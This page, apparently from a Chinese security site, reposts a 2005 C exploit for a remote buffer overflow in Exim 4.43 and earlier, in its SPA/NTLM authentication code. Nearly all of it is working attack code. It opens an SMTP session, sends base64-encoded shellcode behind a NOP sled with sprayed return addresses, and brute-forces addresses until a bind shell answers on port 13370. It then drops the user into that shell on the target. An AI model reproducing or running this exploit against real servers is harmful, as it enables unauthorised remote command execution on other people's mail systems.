首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Exim 4.x 'spa_base64_to_bits()' Remote Buffer Overflow Exploit
来源:yuri@eclipse.org.il 作者:Yuri 发布时间:2005-02-14  

Exim 4.x "spa_base64_to_bits()" Remote Buffer Overflow Exploit

/* ecl-eximspa.c
* Yuri Gushin <yuri@eclipse.org.il>
*
* Howdy :)
* This is pretty straightforward, an exploit for the recently
* discovered vulnerability in Exim's (all versions prior to and
* including 4.43) SPA authentication code - spa_base64_to_bits()
* will overflow a fixed-size buffer since there's no decent
* boundary checks before it in auth_spa_server()
*
* Greets fly out to the ECL crew, Alex Behar, Valentin Slavov
* blexim, manevski, elius, shrink, and everyone else who got left
* out :D
*
*/

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <err.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <arpa/inet.h>

#define SC_PORT 13370
#define NOP 0xfd

struct {
char *name;
int retaddr;
} targets[] = {
{ "Bruteforce", 0xbfffffff },
{ "Debian Sarge exim4-daemon-heavy_4.34-9", 0xbfffed00 },
};

char sc[] = // thank you metasploit, skape, vlad902
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"
"\x43\x52\x66\x68\x34\x3a\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"
"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"
"\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"
"\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\x89\xe1\xcd\x80";

struct {
struct sockaddr_in host;
int target;
int offset;
u_short wait;
} options;

static int brutemode;

int connect_port(u_short port);
void init_SPA(int sock);
void exploit(int sock, int address);
void shell(int sock);
void spa_bits_to_base64 (unsigned char *out, const unsigned char *in, int inlen);
void parse_options(int argc, char **argv);
void usage(char *cmd);
void banner(void);

int main(int argc, char **argv)
{
int address, sock_smtp, sock_shell;

banner();
parse_options(argc, argv);
address = targets[options.target].retaddr - options.offset;
brutemode = 0;

bruteforce:

if (!brutemode)
{
printf("[*] Connecting to %s:%d... ",
inet_ntoa(options.host.sin_addr), ntohs(options.host.sin_port));
fflush(stdout);
}

sock_smtp = connect_port(ntohs(options.host.sin_port));

if (!brutemode)
{
if (!sock_smtp)
{
printf("failed.\n\n");
exit(-1);
}
printf("success.\n");
}

init_SPA(sock_smtp);
exploit(sock_smtp, address);
close(sock_smtp);

printf("[*] Target: %s - 0x%.8x\n", targets[options.target].name, address);
printf("[*] Exploit sent, spawning a shell... ");
fflush(stdout);

sleep(1); // patience grasshopper
sock_shell = connect_port(SC_PORT);

if (!sock_shell && options.target)
{
printf("failed.\n\n");
exit(-1);
}
if (!sock_shell)
{
printf("failed.\n\n");
address -= 1000 - strlen(sc);
brutemode = 1;
if (options.wait) sleep(options.wait);
goto bruteforce;
}
printf("success!\n\nEnjoy your shell :)\n\n");
shell(sock_shell);

return 0;
}

int connect_port(u_short port)
{
int sock;
struct sockaddr_in host;

memcpy(&host, &options.host, sizeof(options.host));
host.sin_port = ntohs(port);

if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
return 0;
if(connect(sock, (struct sockaddr *)&host, sizeof(host)) < 0)
{
close(sock);
return 0;
}

return sock;
}

void init_SPA(int sock)
{
char buffer[1024];

memset(buffer, 0, sizeof(buffer));
if (!read(sock, buffer, sizeof(buffer)))
err(-1, "read");
buffer[255] = '\0';

if (!brutemode)
printf("[*] Server banner: %s", buffer);

write(sock, "EHLO ECL.PWNZ.J00\n", 18);
memset(buffer, 0, sizeof(buffer));
if (!read(sock, buffer, sizeof(buffer)))
err(-1, "read");
else
if (!brutemode && (!strstr(buffer, "NTLM")))
printf("[?] Server doesn't seem to support SPA, trying anyway\n");
write(sock, "AUTH NTLM\n", 10);
memset(buffer, 0, sizeof(buffer));
if (!read(sock, buffer, sizeof(buffer)))
err(-1, "read");
else
if (!brutemode && (!strstr(buffer, "334")))
{
printf("[!] SPA unsupported! Server responds: %s\n\n", buffer);
exit(1);
}
if (!brutemode) printf("[*] SPA (NTLM) supported\n");
}

void exploit(int sock, int address)
{
char exp[2000], exp_base64[2668];
int *address_p;
int i;

memset(exp, NOP, 1000);
memcpy(&exp[1000]-strlen(sc), sc, strlen(sc));
address_p = (int *)&exp[1000];
for (i=0; i<1000; i+=4)
*(address_p++) = address;
spa_bits_to_base64(exp_base64, exp, sizeof(exp));

write(sock, exp_base64, sizeof(exp_base64));
write(sock, "\n", 1);
}

void shell(int sock)
{
int n;
fd_set fd;
char buff[1024];

write(sock,"uname -a;id\n",12);

while(1)
{

FD_SET(sock, &fd);
FD_SET(0, &fd);

select(sock+1, &fd, NULL, NULL, NULL);

if( FD_ISSET(sock, &fd) )
{
n = read(sock, buff, sizeof(buff));
if (n < 0) err(1, "remote read");
write(1, buff, n);
}

if ( FD_ISSET(0, &fd) )
{
n = read(0, buff, sizeof(buff));
if (n < 0) err(1, "local read");
write(sock, buff, n);
}
}
}

char base64digits[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
void spa_bits_to_base64 (unsigned char *out, const unsigned char *in, int inlen)
{
for (; inlen >= 3; inlen -= 3)
{
*out++ = base64digits[in[0] >> 2];
*out++ = base64digits[((in[0] << 4) & 0x30) | (in[1] >> 4)];
*out++ = base64digits[((in[1] << 2) & 0x3c) | (in[2] >> 6)];
*out++ = base64digits[in[2] & 0x3f];
in += 3;
}
if (inlen > 0)
{
unsigned char fragment;

*out++ = base64digits[in[0] >> 2];
fragment = (in[0] << 4) & 0x30;
if (inlen > 1)
fragment |= in[1] >> 4;
*out++ = base64digits[fragment];
*out++ = (inlen < 2) ? '=' : base64digits[(in[1] << 2) & 0x3c];
*out++ = '=';
}
*out = '\0';
}

void parse_options(int argc, char **argv)
{
int ch;
struct hostent *hn;

memset(&options, 0, sizeof(options));

options.host.sin_family = AF_INET;
options.host.sin_port = htons(25);
options.target = -1;
options.wait = 1;

while (( ch = getopt(argc, argv, "h:p:t:o:w:")) != -1)
switch(ch)
{
case 'h':
if ( (hn = gethostbyname(optarg)) == NULL)
errx(-1, "Unresolvable address\n");
memcpy(&options.host.sin_addr, hn->h_addr, hn->h_length);
break;
case 'p':
options.host.sin_port = htons((u_short)atoi(optarg));
break;
case 't':
if ((atoi(optarg) > (sizeof(targets)/8-1) || (atoi(optarg) < 0)))
errx(-1, "Bad target\n");
options.target = atoi(optarg);
break;
case 'o':
options.offset = atoi(optarg);
break;
case 'w':
options.wait = (u_short)atoi(optarg);
break;
case '?':
exit(1);
default:
usage(argv[0]);
}

if (!options.host.sin_addr.s_addr || (options.target == -1) )
usage(argv[0]);
}

void usage(char *cmd)
{
int i;

printf("Usage: %s [ -h host ] [ -p port ] [ -t target ] [ -o offset ] [ -w wait ]\n\n"
"\t-h: remote host\n"
"\t-p: remote port\n"
"\t-t: target return address (see below)\n"
"\t-o: return address offset\n"
"\t-w: seconds to wait before bruteforce reconnecting\n\n",
cmd);
printf("Targets:\n");
for (i=0; i<(sizeof(targets)/8); i++)
printf("%d - %s (0x%.8x)\n", i, targets[i].name, targets[i].retaddr);
printf("\n");
exit(1);
}

void banner(void)
{
printf("\t\tExim <= 4.43 SPA authentication exploit\n"
"\t\t Yuri Gushin <yuri@eclipse.org.il>\n"
"\t\t\t ECL Team\n\n\n");
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·CA BrightStor ARCserve Backup
·CA BrightStor ARCserve Backup
·Savant Web Server 3.1 Remote B
·CA BrightStor ARCserve Discove
·FOXmail POC exploit
·PHP-Nuke POST Method Admin Var
·MSN Messenger PNG Image Buffer
·ELOG Remote Shell Exploit
·ASPNuke comments.asp and detai
·Prozilla Format String Vulnera
·phpBB Knowledge Base模块SQL注
·TinyWeb Server DoS Exploit
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved